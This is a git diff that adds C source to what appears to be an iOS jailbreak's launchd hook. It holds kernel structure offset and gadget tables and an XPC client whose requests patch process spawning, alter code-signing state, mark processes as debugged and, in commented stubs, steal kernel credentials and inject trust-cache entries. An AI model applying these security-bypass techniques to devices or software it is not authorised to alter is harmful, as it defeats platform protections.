\ + iterator(ctx, kernelStruct.thread.recover); \ + iterator(ctx, kernelStruct.thread.machine_kstackptr); \ + iterator(ctx, kernelStruct.thread.machine_CpuDatap); \ + iterator(ctx, kernelStruct.thread.machine_contextData); \ + \ + iterator(ctx, kernelStruct.ipc_space.table); \ + iterator(ctx, kernelStruct.ipc_space.table_uses_smr); \ + \ + iterator(ctx, kernelStruct.ipc_entry.object); \ + iterator(ctx, kernelStruct.ipc_entry.struct_size); \ + \ + iterator(ctx, kernelStruct.ipc_port.kobject); \ + \ + iterator(ctx, kernelStruct.vm_map.hdr); \ + iterator(ctx, kernelStruct.vm_map.pmap); \ + iterator(ctx, kernelStruct.vm_map.flags); \ + \ + iterator(ctx, kernelStruct.vm_map_header.links); \ + \ + iterator(ctx, kernelStruct.vm_map_entry.links); \ + iterator(ctx, kernelStruct.vm_map_entry.flags); \ + \ + iterator(ctx, kernelStruct.vm_map_links.prev); \ + iterator(ctx, kernelStruct.vm_map_links.next); \ + iterator(ctx, kernelStruct.vm_map_links.min); \ + iterator(ctx, kernelStruct.vm_map_links.max); \ + \ + iterator(ctx, kernelStruct.pmap.tte); \ + iterator(ctx, kernelStruct.pmap.ttep); \ + iterator(ctx, kernelStruct.pmap.pmap_cs_main); \ + iterator(ctx, kernelStruct.pmap.sw_asid); \ + iterator(ctx, kernelStruct.pmap.wx_allowed); \ + iterator(ctx, kernelStruct.pmap.type); \ + \ + iterator(ctx, kernelStruct.pmap_cs_region.pmap_cs_region_next); \ + iterator(ctx, kernelStruct.pmap_cs_region.cd_entry); \ + \ + iterator(ctx, kernelStruct.pmap_cs_code_directory.pmap_cs_code_directory_next); \ + iterator(ctx, kernelStruct.pmap_cs_code_directory.main_binary); \ + iterator(ctx, kernelStruct.pmap_cs_code_directory.trust); \ + \ + iterator(ctx, kernelStruct.pt_desc.pmap); \ + iterator(ctx, kernelStruct.pt_desc.va); \ + iterator(ctx, kernelStruct.pt_desc.ptd_info); \ + \ + iterator(ctx, kernelStruct.trustcache.nextptr); \ + iterator(ctx, kernelStruct.trustcache.prevptr); \ + iterator(ctx, kernelStruct.trustcache.size); \ + iterator(ctx, kernelStruct.trustcache.fileptr); \ + iterator(ctx, kernelStruct.trustcache.struct_size); + +#define SYSTEM_INFO_ITERATE(ctx, iterator) \ + KERNEL_CONSTANTS_ITERATE(ctx, iterator); \ + JAILBREAK_INFO_ITERATE(ctx, iterator); \ + JAILBREAK_SETTINGS_ITERATE(ctx, iterator); \ + KERNEL_SYMBOLS_ITERATE(ctx, iterator); \ + KERNEL_GADGETS_ITERATE(ctx, iterator); \ + KERNEL_STRUCTS_ITERATE(ctx, iterator); + +__attribute__((__unused__)) static void _safe_xpc_dictionary_get_string(xpc_object_t xdict, const char *name, char **out) +{ + const char *str = xpc_dictionary_get_string(xdict, name); + if (str) { + if (*out) free(*out); + *out = strdup(str); + } +} + +__attribute__((__unused__)) static void _safe_xpc_dictionary_set_string(xpc_object_t xdict, const char *name, const char *string) +{ + if (string) { + xpc_dictionary_set_string(xdict, name, string); + } +} + +#define XPC_SET_GENERIC(xdict, name, value) _Generic((value), \ + const char *: _safe_xpc_dictionary_set_string(xdict, name, (const char*)(uint64_t)value), \ + char *: _safe_xpc_dictionary_set_string(xdict, name, (const char*)(uint64_t)value), \ + uint64_t: xpc_dictionary_set_uint64(xdict, name, (uint64_t)value), \ + uint32_t: xpc_dictionary_set_uint64(xdict, name, (uint64_t)value), \ + bool: xpc_dictionary_set_bool(xdict, name, (bool)value) \ +) + +#define XPC_GET_GENERIC(xdict, name, target) _Generic((target), \ + const char *: _safe_xpc_dictionary_get_string(xdict, name, (char **)&target), \ + char *: _safe_xpc_dictionary_get_string(xdict, name, (char **)&target), \ + uint64_t: *((uint64_t *)&target) = xpc_dictionary_get_uint64(xdict, name), \ + uint32_t: *((uint32_t *)&target) = (uint32_t)xpc_dictionary_get_uint64(xdict, name), \ + bool: *((bool *)&target) = xpc_dictionary_get_bool(xdict, name) \ +) + +#define SYSTEM_INFO_SERIALIZE_COMPONENT(xdict, name) XPC_SET_GENERIC(xdict, #name, gSystemInfo.name) +#define SYSTEM_INFO_SERIALIZE(xdict) SYSTEM_INFO_ITERATE(xdict, SYSTEM_INFO_SERIALIZE_COMPONENT) + +#define SYSTEM_INFO_DESERIALIZE_COMPONENT(xdict, name) XPC_GET_GENERIC(xdict, #name, gSystemInfo.name) +#define SYSTEM_INFO_DESERIALIZE(xdict) SYSTEM_INFO_ITERATE(xdict, SYSTEM_INFO_DESERIALIZE_COMPONENT) + +#define kconstant(name) (gSystemInfo.kernelConstant.name) +#define jbinfo(name) (gSystemInfo.jailbreakInfo.name) +#define jbsetting(name) (gSystemInfo.jailbreakSettings.name) +#define ksymbol(name) (gSystemInfo.kernelSymbol.name ? (gSystemInfo.kernelConstant.slide + gSystemInfo.kernelSymbol.name) : 0) +#define kgadget(name) (gSystemInfo.kernelGadget.name ? (gSystemInfo.kernelConstant.slide + gSystemInfo.kernelGadget.name) : 0) +#define koffsetof(structname, member) (gSystemInfo.kernelStruct.structname.member) +#define ksizeof(structname) (gSystemInfo.kernelStruct.structname.struct_size) + +void jbinfo_initialize_dynamic_offsets(xpc_object_t xoffsetDict); +void jbinfo_initialize_hardcoded_offsets(void); +void jbinfo_initialize_boot_constants(void); +xpc_object_t jbinfo_get_serialized(void); + +uint64_t get_vm_real_kernel_page_size(void); +#define vm_real_kernel_page_size get_vm_real_kernel_page_size() +#define vm_real_kernel_page_mask (vm_real_kernel_page_size - 1) + +uint64_t get_vm_real_kernel_page_shift(void); +#define vm_real_kernel_page_shift get_vm_real_kernel_page_shift() + +uint64_t get_l1_block_size(void); +uint64_t get_l1_block_mask(void); +uint64_t get_l1_block_count(void); +uint64_t get_l2_block_size(void); +uint64_t get_l2_block_mask(void); +uint64_t get_l2_block_count(void); + +#define L1_BLOCK_SIZE get_l1_block_size() +#define L1_BLOCK_MASK get_l1_block_mask() +#define L1_BLOCK_COUNT get_l1_block_count() +#define L2_BLOCK_SIZE get_l2_block_size() +#define L2_BLOCK_MASK get_l2_block_mask() +#define L2_BLOCK_COUNT get_l2_block_count() + +#endif diff --git a/RootHelperSample/launchdshim/launchdhook/jbserver/jbclient_xpc.c b/RootHelperSample/launchdshim/launchdhook/jbserver/jbclient_xpc.c new file mode 100644 index 00000000..19556f61 --- /dev/null +++ b/RootHelperSample/launchdshim/launchdhook/jbserver/jbclient_xpc.c @@ -0,0 +1,585 @@ +#include "jbclient_xpc.h" +#include "jbserver.h" +#include +#include +#include +#include +#include +#include + +#define OS_ALLOC_ONCE_KEY_MAX 100 + +struct _os_alloc_once_s { + long once; + void *ptr; +}; + +struct xpc_global_data { + uint64_t a; + uint64_t xpc_flags; + mach_port_t task_bootstrap_port; /* 0x10 */ +#ifndef _64 + uint32_t padding; +#endif + xpc_object_t xpc_bootstrap_pipe; /* 0x18 */ +}; + +extern struct _os_alloc_once_s _os_alloc_once_table[]; +extern void* _os_alloc_once(struct _os_alloc_once_s *slot, size_t sz, os_function_t init); + +mach_port_t gJBServerCustomPort = MACH_PORT_NULL; + +void jbclient_xpc_set_custom_port(mach_port_t serverPort) +{ + if (gJBServerCustomPort != MACH_PORT_NULL) { + mach_port_deallocate(mach_task_self(), gJBServerCustomPort); + } + gJBServerCustomPort = serverPort; +} + +xpc_object_t jbserver_xpc_send_dict(xpc_object_t xdict) +{ + xpc_object_t xreply = NULL; + + xpc_object_t xpipe = NULL; + if (gJBServerCustomPort != MACH_PORT_NULL) { + // Communicate with custom port if set + xpipe = xpc_pipe_create_from_port(gJBServerCustomPort, 0); + } + else { + // Else, communicate with launchd + struct xpc_global_data* globalData = NULL; + if (_os_alloc_once_table[1].once == -1) { + globalData = _os_alloc_once_table[1].ptr; + } + else { + globalData = _os_alloc_once(&_os_alloc_once_table[1], 472, NULL); + if (!globalData) _os_alloc_once_table[1].once = -1; + } + if (!globalData) return NULL; + if (!globalData->xpc_bootstrap_pipe) { + mach_port_t *initPorts; + mach_msg_type_number_t initPortsCount = 0; + if (mach_ports_lookup(mach_task_self(), &initPorts, &initPortsCount) == 0) { + globalData->task_bootstrap_port = initPorts[0]; + globalData->xpc_bootstrap_pipe = xpc_pipe_create_from_port(globalData->task_bootstrap_port, 0); + } + } + if (!globalData->xpc_bootstrap_pipe) return NULL; + xpipe = xpc_retain(globalData->xpc_bootstrap_pipe); + } + + if (!xpipe) return NULL; + int err = xpc_pipe_routine_with_flags(xpipe, xdict, &xreply, 0); + xpc_release(xpipe); + if (err != 0) { + return NULL; + } + return xreply; +} + +xpc_object_t jbserver_xpc_send(uint64_t domain, uint64_t action, xpc_object_t xargs) +{ + bool ownsXargs = false; + if (!xargs) { + xargs = xpc_dictionary_create_empty(); + ownsXargs = true; + } + + xpc_dictionary_set_uint64(xargs, "jb-domain", domain); + xpc_dictionary_set_uint64(xargs, "action", action); + + xpc_object_t xreply = jbserver_xpc_send_dict(xargs); + if (ownsXargs) { + xpc_release(xargs); + } + + return xreply; +} + +char *jbclient_get_jbroot(void) +{ + static char rootPath[PATH_MAX] = { 0 }; + static dispatch_once_t dot; + + dispatch_once(&dot, ^{ + xpc_object_t xreply = jbserver_xpc_send(JBS_DOMAIN_SYSTEMWIDE, JBS_SYSTEMWIDE_GET_JBROOT, NULL); + if (xreply) { + const char *replyRootPath = xpc_dictionary_get_string(xreply, "root-path"); + if (replyRootPath) { + strlcpy(&rootPath[0], replyRootPath, sizeof(rootPath)); + } + xpc_release(xreply); + } + }); + + if (rootPath[0] == '\0') return NULL; + return (char *)&rootPath[0]; +} + +char *jbclient_get_boot_uuid(void) +{ + static char bootUUID[37] = { 0 }; + static dispatch_once_t dot; + + dispatch_once(&dot, ^{ + xpc_object_t xreply = jbserver_xpc_send(JBS_DOMAIN_SYSTEMWIDE, JBS_SYSTEMWIDE_GET_BOOT_UUID, NULL); + if (xreply) { + const char *replyBootUUID = xpc_dictionary_get_string(xreply, "boot-uuid"); + if (replyBootUUID) { + strlcpy(&bootUUID[0], replyBootUUID, sizeof(bootUUID)); + } + xpc_release(xreply); + } + }); + + if (bootUUID[0] == '\0') return NULL; + return (char *)&bootUUID[0]; +} + +bool can_skip_trusting_file(const char *filePath, bool isLibrary, bool isClient) +{ + if (!filePath) return true; + + // If it's a library that starts with an @, we don't know the actual location so we need to trust it + if (isLibrary && filePath[0] == '@') return false; + + // If this file is in shared cache, we can skip trusting it + if (_dyld_shared_cache_contains_path(filePath)) return true; + + // If the file doesn't exist, there is nothing to trust :D + if (access(filePath, F_OK) != 0) return true; + + if (!isClient) { + // If the file is on rootfs mount point, it doesn't need to be trusted as it should be in static trust cache + // Same goes for our /usr/lib bind mount (which is guaranteed to be in dynamic trust cache) + // We can't do this in the client because of protobox bullshit where calling statfs crashes some processes + struct statfs fs; + int sfsret = statfs(filePath, &fs); + if (sfsret == 0) { + if (!strcmp(fs.f_mntonname, "/") || !strcmp(fs.f_mntonname, "/usr/lib")) { + return true; + } + } + } + + return false; +} + +char *realafpath(const char *restrict path, char *restrict resolved_path) +{ + if (path[0] == '/' || path[0] == '@') { + // Running realpath on stuff in /var/jb or on rootfs causes some processes, on some devices, to crash + // If it starts with /, it's not a relative path and we can skip calling realpath on it + // We only care about resolving relative paths, so we can skip anything that doesn't look like one + // Additionally, we also ignore loader relative paths that start with (@rpath/@executable_path/@loader_path) + if (!resolved_path) { + resolved_path = malloc(PATH_MAX); + } + strlcpy(resolved_path, path, PATH_MAX); + return resolved_path; + } + else { + return realpath(path, resolved_path); + } +} + +// int jbclient_trust_binary(const char *binaryPath, xpc_object_t preferredArchsArray) +// { +// if (!binaryPath) return -1; + +// char absolutePath[PATH_MAX]; +// if (realafpath(binaryPath, absolutePath) == NULL) return -1; + +// if (can_skip_trusting_file(absolutePath, false, true)) return -1; + +// xpc_object_t xargs = xpc_dictionary_create_empty(); +// xpc_dictionary_set_string(xargs, "binary-path", absolutePath); +// if (preferredArchsArray) { +// xpc_dictionary_set_value(xargs, "preferred-archs", preferredArchsArray); +// } +// xpc_object_t xreply = jbserver_xpc_send(JBS_DOMAIN_SYSTEMWIDE, JBS_SYSTEMWIDE_TRUST_BINARY, xargs); +// xpc_release(xargs); +// if (xreply) { +// int64_t result = xpc_dictionary_get_int64(xreply, "result"); +// xpc_release(xreply); +// return result; +// } +// return -1; +// } + +// int jbclient_trust_library(const char *libraryPath, void *addressInCaller) +// { +// if (!libraryPath) return -1; + +// // If not a dynamic path (@rpath, @executable_path, @loader_path), resolve to absolute path +// char absoluteLibraryPath[PATH_MAX]; +// if (realafpath(libraryPath, absoluteLibraryPath) == NULL) return -1; + +// if (can_skip_trusting_file(absoluteLibraryPath, true, true)) return -1; + +// Dl_info callerInfo = { 0 }; +// if (addressInCaller) dladdr(addressInCaller, &callerInfo); + +// xpc_object_t xargs = xpc_dictionary_create_empty(); +// xpc_dictionary_set_string(xargs, "library-path", absoluteLibraryPath); +// if (callerInfo.dli_fname) xpc_dictionary_set_string(xargs, "caller-library-path", callerInfo.dli_fname); +// xpc_object_t xreply = jbserver_xpc_send(JBS_DOMAIN_SYSTEMWIDE, JBS_SYSTEMWIDE_TRUST_LIBRARY, xargs); +// xpc_release(xargs); +// if (xreply) { +// int64_t result = xpc_dictionary_get_int64(xreply, "result"); +// xpc_release(xreply); +// return result; +// } +// return -1; +// } + +int jbclient_process_checkin(char **rootPathOut, char **bootUUIDOut, char **sandboxExtensionsOut, bool *fullyDebuggedOut) +{ + xpc_object_t xreply = jbserver_xpc_send(JBS_DOMAIN_SYSTEMWIDE, JBS_SYSTEMWIDE_PROCESS_CHECKIN, NULL); + if (xreply) { + int64_t result = xpc_dictionary_get_int64(xreply, "result"); + const char *rootPath = xpc_dictionary_get_string(xreply, "root-path"); + const char *bootUUID = xpc_dictionary_get_string(xreply, "boot-uuid"); + const char *sandboxExtensions = xpc_dictionary_get_string(xreply, "sandbox-extensions"); + if (rootPathOut) *rootPathOut = rootPath ? strdup(rootPath) : NULL; + if (bootUUIDOut) *bootUUIDOut = bootUUID ? strdup(bootUUID) : NULL; + if (sandboxExtensionsOut) *sandboxExtensionsOut = sandboxExtensions ? strdup(sandboxExtensions) : NULL; + if (fullyDebuggedOut) *fullyDebuggedOut = xpc_dictionary_get_bool(xreply, "fully-debugged"); + xpc_release(xreply); + return result; + } + return -1; +} + +// int jbclient_fork_fix(uint64_t childPid) +// { +// xpc_object_t xargs = xpc_dictionary_create_empty(); +// xpc_dictionary_set_uint64(xargs, "child-pid", childPid); +// xpc_object_t xreply = jbserver_xpc_send(JBS_DOMAIN_SYSTEMWIDE, JBS_SYSTEMWIDE_FORK_FIX, xargs); +// xpc_release(xargs); +// if (xreply) { +// int result = xpc_dictionary_get_int64(xreply, "result"); +// xpc_release(xreply); +// return result; +// } +// return -1; +// } + +int jbclient_cs_revalidate(void) +{ + xpc_object_t xreply = jbserver_xpc_send(JBS_DOMAIN_SYSTEMWIDE, JBS_SYSTEMWIDE_CS_REVALIDATE, NULL); + if (xreply) { + int result = xpc_dictionary_get_int64(xreply, "result"); + xpc_release(xreply); + return result; + } + return -1; +} + +int jbclient_cs_drop_get_task_allow(void){ + xpc_object_t xreply = jbserver_xpc_send(JBS_DOMAIN_SYSTEMWIDE, JBS_SYSTEMWIDE_CS_DROP_GET_TASK_ALLOW, NULL); + if (xreply) { + int result = xpc_dictionary_get_int64(xreply, "result"); + xpc_release(xreply); + return result; + } + return -1; +} + +int jbclient_patch_spawn(int pid, bool resume){ + xpc_object_t xargs = xpc_dictionary_create_empty(); + xpc_dictionary_set_uint64(xargs, "pid", pid); + xpc_dictionary_set_bool(xargs, "resume", resume); + xpc_object_t xreply = jbserver_xpc_send(JBS_DOMAIN_SYSTEMWIDE, JBS_SYSTEMWIDE_PATCH_SPAWN, xargs); + if (xreply) { + int result = xpc_dictionary_get_int64(xreply, "result"); + xpc_release(xreply); + return result; + } + return -1; +} + +int jbclient_patch_exec_add(const char* exec_path, bool resume){ + xpc_object_t xargs = xpc_dictionary_create_empty(); + xpc_dictionary_set_string(xargs, "exec-path", exec_path); + xpc_dictionary_set_bool(xargs, "resume", resume); + xpc_object_t xreply = jbserver_xpc_send(JBS_DOMAIN_SYSTEMWIDE, JBS_SYSTEMWIDE_PATCH_EXEC_ADD, xargs); + if (xreply) { + int result = xpc_dictionary_get_int64(xreply, "result"); + xpc_release(xreply); + return result; + } + return -1; +} + +int jbclient_patch_exec_del(const char* exec_path){ + xpc_object_t xargs = xpc_dictionary_create_empty(); + xpc_dictionary_set_string(xargs, "exec-path", exec_path); + xpc_object_t xreply = jbserver_xpc_send(JBS_DOMAIN_SYSTEMWIDE, JBS_SYSTEMWIDE_PATCH_EXEC_DEL, xargs); + if (xreply) { + int result = xpc_dictionary_get_int64(xreply, "result"); + xpc_release(xreply); + return result; + } + return -1; +} + +int jbclient_platform_set_process_debugged(uint64_t pid, bool fullyDebugged) +{ + xpc_object_t xargs = xpc_dictionary_create_empty(); + xpc_dictionary_set_uint64(xargs, "pid", pid); + xpc_dictionary_set_bool(xargs, "fully-debugged", fullyDebugged); + xpc_object_t xreply = jbserver_xpc_send(JBS_DOMAIN_PLATFORM, JBS_PLATFORM_SET_PROCESS_DEBUGGED, xargs); + xpc_release(xargs); + if (xreply) { + int result = xpc_dictionary_get_int64(xreply, "result"); + xpc_release(xreply); + return result; + } + return -1; +} + +// int jbclient_platform_stage_jailbreak_update(const char *updateTar) +// { +// char realUpdateTarPath[PATH_MAX]; +// if (!realpath(updateTar, realUpdateTarPath)) return -1; + +// xpc_object_t xargs = xpc_dictionary_create_empty(); +// xpc_dictionary_set_string(xargs, "update-tar", realUpdateTarPath); +// xpc_object_t xreply = jbserver_xpc_send(JBS_DOMAIN_PLATFORM, JBS_PLATFORM_STAGE_JAILBREAK_UPDATE, xargs); +// xpc_release(xargs); +// if (xreply) { +// int result = xpc_dictionary_get_int64(xreply, "result"); +// xpc_release(xreply); +// return result; +// } +// return -1; +// } + + +// int jbclient_platform_jbsettings_get(const char *key, xpc_object_t *valueOut) +// { +// xpc_object_t xargs = xpc_dictionary_create_empty(); +// xpc_dictionary_set_string(xargs, "key", key); +// xpc_object_t xreply = jbserver_xpc_send(JBS_DOMAIN_PLATFORM, JBS_PLATFORM_JBSETTINGS_GET, xargs); +// xpc_release(xargs); +// if (xreply) { +// int result = xpc_dictionary_get_int64(xreply, "result"); +// xpc_object_t value = xpc_dictionary_get_value(xreply, "value"); +// if (value && valueOut) *valueOut = xpc_copy(value); +// xpc_release(xreply); +// return result; +// } +// return -1; +// } + +// bool jbclient_platform_jbsettings_get_bool(const char *key) +// { +// xpc_object_t value; +// if (jbclient_platform_jbsettings_get(key, &value) == 0) { +// if (value) { +// bool valueBool = xpc_bool_get_value(value); +// xpc_release(value); +// return valueBool; +// } +// } +// return false; +// } + +// uint64_t jbclient_platform_jbsettings_get_uint64(const char *key) +// { +// xpc_object_t value; +// if (jbclient_platform_jbsettings_get(key, &value) == 0) { +// if (value) { +// uint64_t valueU64 = xpc_uint64_get_value(value); +// xpc_release(value); +// return valueU64; +// } +// } +// return 0; +// } + +// int jbclient_platform_jbsettings_set(const char *key, xpc_object_t value) +// { +// xpc_object_t xargs = xpc_dictionary_create_empty(); +// xpc_dictionary_set_string(xargs, "key", key); +// xpc_dictionary_set_value(xargs, "value", value); +// xpc_object_t xreply = jbserver_xpc_send(JBS_DOMAIN_PLATFORM, JBS_PLATFORM_JBSETTINGS_SET, xargs); +// xpc_release(xargs); +// if (xreply) { +// int result = xpc_dictionary_get_int64(xreply, "result"); +// xpc_release(xreply); +// return result; +// } +// return -1; +// } + +// int jbclient_platform_jbsettings_set_bool(const char *key, bool boolValue) +// { +// xpc_object_t value = xpc_bool_create(boolValue); +// int r = jbclient_platform_jbsettings_set(key, value); +// xpc_release(value); +// return r; +// } + +// int jbclient_platform_jbsettings_set_uint64(const char *key, uint64_t uint64Value) +// { +// xpc_object_t value = xpc_uint64_create(uint64Value); +// int r = jbclient_platform_jbsettings_set(key, value); +// xpc_release(value); +// return r; +// } + +int jbclient_watchdog_intercept_userspace_panic(const char *panicMessage) +{ + xpc_object_t xargs = xpc_dictionary_create_empty(); + xpc_dictionary_set_string(xargs, "panic-message", panicMessage); + xpc_object_t xreply = jbserver_xpc_send(JBS_DOMAIN_WATCHDOG, JBS_WATCHDOG_INTERCEPT_USERSPACE_PANIC, xargs); + xpc_release(xargs); + if (xreply) { + int result = xpc_dictionary_get_int64(xreply, "result"); + xpc_release(xreply); + return result; + } + return -1; +} + +int jbclient_watchdog_get_last_userspace_panic(char **panicMessage) +{ + xpc_object_t xreply = jbserver_xpc_send(JBS_DOMAIN_WATCHDOG, JBS_WATCHDOG_GET_LAST_USERSPACE_PANIC, NULL); + if (xreply) { + int result = xpc_dictionary_get_int64(xreply, "result"); + const char *receivedMessage = xpc_dictionary_get_string(xreply, "panic-message"); + if (receivedMessage) { + *panicMessage = strdup(receivedMessage); + } + xpc_release(xreply); + return result; + } + return -1; +} + +// int jbclient_root_get_physrw(bool singlePTE, uint64_t *singlePTEAsidPtr) +// { +// xpc_object_t xargs = xpc_dictionary_create_empty(); +// xpc_dictionary_set_bool(xargs, "single-pte", singlePTE); +// xpc_object_t xreply = jbserver_xpc_send(JBS_DOMAIN_ROOT, JBS_ROOT_GET_PHYSRW, xargs); +// xpc_release(xargs); +// if (xreply) { +// if (singlePTEAsidPtr) { +// *singlePTEAsidPtr = xpc_dictionary_get_uint64(xreply, "single-pte-asid-ptr"); +// } +// int64_t result = xpc_dictionary_get_int64(xreply, "result"); +// xpc_release(xreply); +// return result; +// } +// return -1; +// } + +// int jbclient_root_sign_thread(mach_port_t threadPort) +// { +// xpc_object_t xargs = xpc_dictionary_create_empty(); +// xpc_dictionary_set_uint64(xargs, "thread-port", threadPort); +// xpc_object_t xreply = jbserver_xpc_send(JBS_DOMAIN_ROOT, JBS_ROOT_SIGN_THREAD, xargs); +// xpc_release(xargs); +// if (xreply) { +// int result = xpc_dictionary_get_int64(xreply, "result"); +// xpc_release(xreply); +// return result; +// } +// return -1; +// } + +int jbclient_root_get_sysinfo(xpc_object_t *sysInfoOut) +{ + xpc_object_t xreply = jbserver_xpc_send(JBS_DOMAIN_ROOT, JBS_ROOT_GET_SYSINFO, NULL); + if (xreply) { + xpc_object_t sysInfo = xpc_dictionary_get_dictionary(xreply, "sysinfo"); + if (sysInfo && sysInfoOut) *sysInfoOut = xpc_copy(sysInfo); + int result = xpc_dictionary_get_int64(xreply, "result"); + xpc_release(xreply); + return result; + } + return -1; +} + +// int jbclient_root_steal_ucred(uint64_t ucredToSteal, uint64_t *orgUcred) +// { +// xpc_object_t xargs = xpc_dictionary_create_empty(); +// xpc_dictionary_set_uint64(xargs, "ucred", ucredToSteal); +// xpc_object_t xreply = jbserver_xpc_send(JBS_DOMAIN_ROOT, JBS_ROOT_STEAL_UCRED, xargs); +// xpc_release(xargs); +// if (xreply) { +// int64_t result = xpc_dictionary_get_int64(xreply, "result"); +// if (orgUcred) *orgUcred = xpc_dictionary_get_uint64(xreply, "org-ucred"); +// xpc_release(xreply); +// return result; +// } +// return -1; +// } + +// int jbclient_root_set_mac_label(uint64_t slot, uint64_t label, uint64_t *orgLabel) +// { +// xpc_object_t xargs = xpc_dictionary_create_empty(); +// xpc_dictionary_set_uint64(xargs, "slot", slot); +// xpc_dictionary_set_uint64(xargs, "label", label); +// xpc_object_t xreply = jbserver_xpc_send(JBS_DOMAIN_ROOT, JBS_ROOT_SET_MAC_LABEL, xargs); +// xpc_release(xargs); +// if (xreply) { +// int64_t result = xpc_dictionary_get_int64(xreply, "result"); +// if (orgLabel) *orgLabel = xpc_dictionary_get_uint64(xreply, "org-label"); +// xpc_release(xreply); +// return result; +// } +// return -1; +// } + +// int jbclient_root_trustcache_info(xpc_object_t *infoOut) +// { +// xpc_object_t xreply = jbserver_xpc_send(JBS_DOMAIN_ROOT, JBS_ROOT_TRUSTCACHE_INFO, NULL); +// if (xreply) { +// int64_t result = xpc_dictionary_get_int64(xreply, "result"); +// xpc_object_t info = xpc_dictionary_get_array(xreply, "tc-info"); +// if (infoOut && info) *infoOut = xpc_copy(info); +// xpc_release(xreply); +// return result; +// } +// return -1; +// } + +// int jbclient_root_trustcache_add_cdhash(uint8_t *cdhashData, size_t cdhashLen) +// { +// xpc_object_t xargs = xpc_dictionary_create_empty(); +// xpc_dictionary_set_data(xargs, "cdhash", cdhashData, cdhashLen); +// xpc_object_t xreply = jbserver_xpc_send(JBS_DOMAIN_ROOT, JBS_ROOT_TRUSTCACHE_ADD_CDHASH, xargs); +// xpc_release(xargs); +// if (xreply) { +// int64_t result = xpc_dictionary_get_int64(xreply, "result"); +// xpc_release(xreply); +// return result; +// } +// return -1; +// } + +// int jbclient_root_trustcache_clear(void) +// { +// xpc_object_t xreply = jbserver_xpc_send(JBS_DOMAIN_ROOT, JBS_ROOT_TRUSTCACHE_CLEAR, NULL); +// if (xreply) { +// int64_t result = xpc_dictionary_get_int64(xreply, "result"); +// xpc_release(xreply); +// return result; +// } +// return -1; +// } + +// int jbclient_boomerang_done(void) +// { +// xpc_object_t xreply = jbserver_xpc_send(JBS_DOMAIN_ROOT, JBS_BOOMERANG_DONE, NULL); +// if (xreply) { +// int64_t result = xpc_dictionary_get_int64(xreply, "result"); +// xpc_release(xreply); +// return result; +// } +// return -1; +// } \ No newline at end of file diff --git a/RootHelperSample/launchdshim/launchdhook/jbserver/jbclient_xpc.h b/RootHelperSample/launchdshim/launchdhook/jbserver/jbclient_xpc.h new file mode 100644 index 00000000..12ea1a81 --- /dev/null +++ b/RootHelperSample/launchdshim/launchdhook/jbserver/jbclient_xpc.h @@ -0,0 +1,44 @@ +#ifndef JBCLIENT_XPC_H +#define JBCLIENT_XPC_H + +#include +#include "xpc_private.h" +#include + +void jbclient_xpc_set_custom_port(mach_port_t serverPort); + +xpc_object_t jbserver_xpc_send_dict(xpc_object_t xdict); +xpc_object_t jbserver_xpc_send(uint64_t domain, uint64_t action, xpc_object_t xargs); + +char *jbclient_get_jbroot(void); +char *jbclient_get_boot_uuid(void); +// int jbclient_trust_binary(const char *binaryPath, xpc_object_t preferredArchsArray); +// int jbclient_trust_library(const char *libraryPath, void *addressInCaller); +int jbclient_process_checkin(char **rootPathOut, char **bootUUIDOut, char **sandboxExtensionsOut, bool *fullyDebuggedOut); +// int jbclient_fork_fix(uint64_t childPid); +int jbclient_cs_revalidate(void); +int jbclient_cs_drop_get_task_allow(void); +int jbclient_patch_spawn(int pid, bool resume); +int jbclient_patch_exec_add(const char* exec_path, bool resume); +int jbclient_patch_exec_del(const char* exec_path); +// int jbclient_platform_set_process_debugged(uint64_t pid, bool fullyDebugged); +// int jbclient_platform_stage_jailbreak_update(const char *updateTar); +// int jbclient_platform_jbsettings_get(const char *key, xpc_object_t *valueOut); +// bool jbclient_platform_jbsettings_get_bool(const char *key); +// uint64_t jbclient_platform_jbsettings_get_uint64(const char *key); +// int jbclient_platform_jbsettings_set(const char *key, xpc_object_t value); +// int jbclient_platform_jbsettings_set_bool(const char *key, bool boolValue); +// int jbclient_platform_jbsettings_set_uint64(const char *key, uint64_t uint64Value); +// int jbclient_watchdog_intercept_userspace_panic(const char *panicMessage); +// int jbclient_watchdog_get_last_userspace_panic(char **panicMessage); +// int jbclient_root_get_physrw(bool singlePTE, uint64_t *singlePTEAsidPtr); +// int jbclient_root_sign_thread(mach_port_t threadPort); +// int jbclient_root_get_sysinfo(xpc_object_t *sysInfoOut); +// int jbclient_root_steal_ucred(uint64_t ucredToSteal, uint64_t *orgUcred); +// int jbclient_root_set_mac_label(uint64_t slot, uint64_t label, uint64_t *orgLabel); +// int jbclient_root_trustcache_info(xpc_object_t *infoOut); +// int jbclient_root_trustcache_add_cdhash(uint8_t *cdhashData, size_t cdhashLen); +// int jbclient_root_trustcache_clear(void); +// int jbclient_boomerang_done(void); + +#endif diff --git a/RootHelperSample/launchdshim/launchdhook/jbserver/jbdomain_systemwide.c b/RootHelperSample/launchdshim/launchdhook/jbserver/jbdomain_systemwide.c new file mode 100644 index 00000000..2c8aad2a --- /dev/null +++ b/RootHelperSample/launchdshim/launchdhook/jbserver/jbdomain_systemwide.c @@ -0,0 +1,356 @@ +#include "jbserver.h" +// #include "info.h" +#include "sandbox.h" +#include "libproc.h" +#include "libproc_private.h" + +// #include +// #include +#include "kernel.h" +#include "util.h" +// #include "primitives.h" +#include "codesign.h" +#include +#include "bsm/audit.h" +#include "exec_patch.h" +#include "log.h" +#include "../fun/krw.h" +// extern bool stringStartsWith(const char *str, const char* prefix); +// extern bool stringEndsWith(const char* str, const char* suffix); +bool stringStartsWith(const char *str, const char* prefix) +{ + if (!str || !prefix) { + return false; + } + + size_t str_len = strlen(str); + size_t prefix_len = strlen(prefix); + + if (str_len < prefix_len) { + return false; + } + + return !strncmp(str, prefix, prefix_len); +} + +bool stringEndsWith(const char* str, const char* suffix) +{ + if (!str || !suffix) { + return false; + } + + size_t str_len = strlen(str); + size_t suffix_len = strlen(suffix); + + if (str_len < suffix_len) { + return false; + } + + return !strcmp(str + str_len - suffix_len, suffix); +} + +#define APP_PATH_PREFIX "/private/var/containers/Bundle/Application/" + +static bool is_app_path(const char* path) +{ + if(!path) return false; + + char rp[PATH_MAX]; + if(!realpath(path, rp)) return false; + + if(strncmp(rp, APP_PATH_PREFIX, sizeof(APP_PATH_PREFIX)-1) != 0) + return false; + + char* p1 = rp + sizeof(APP_PATH_PREFIX)-1; + char* p2 = strchr(p1, '/'); + if(!p2) return false; + + //is normal app or jailbroken app/daemon? + if((p2 - p1) != (sizeof("xxxxxxxx-xxxx-xxxx-yxxx-xxxxxxxxxxxx")-1)) + return false; + + return true; +} + 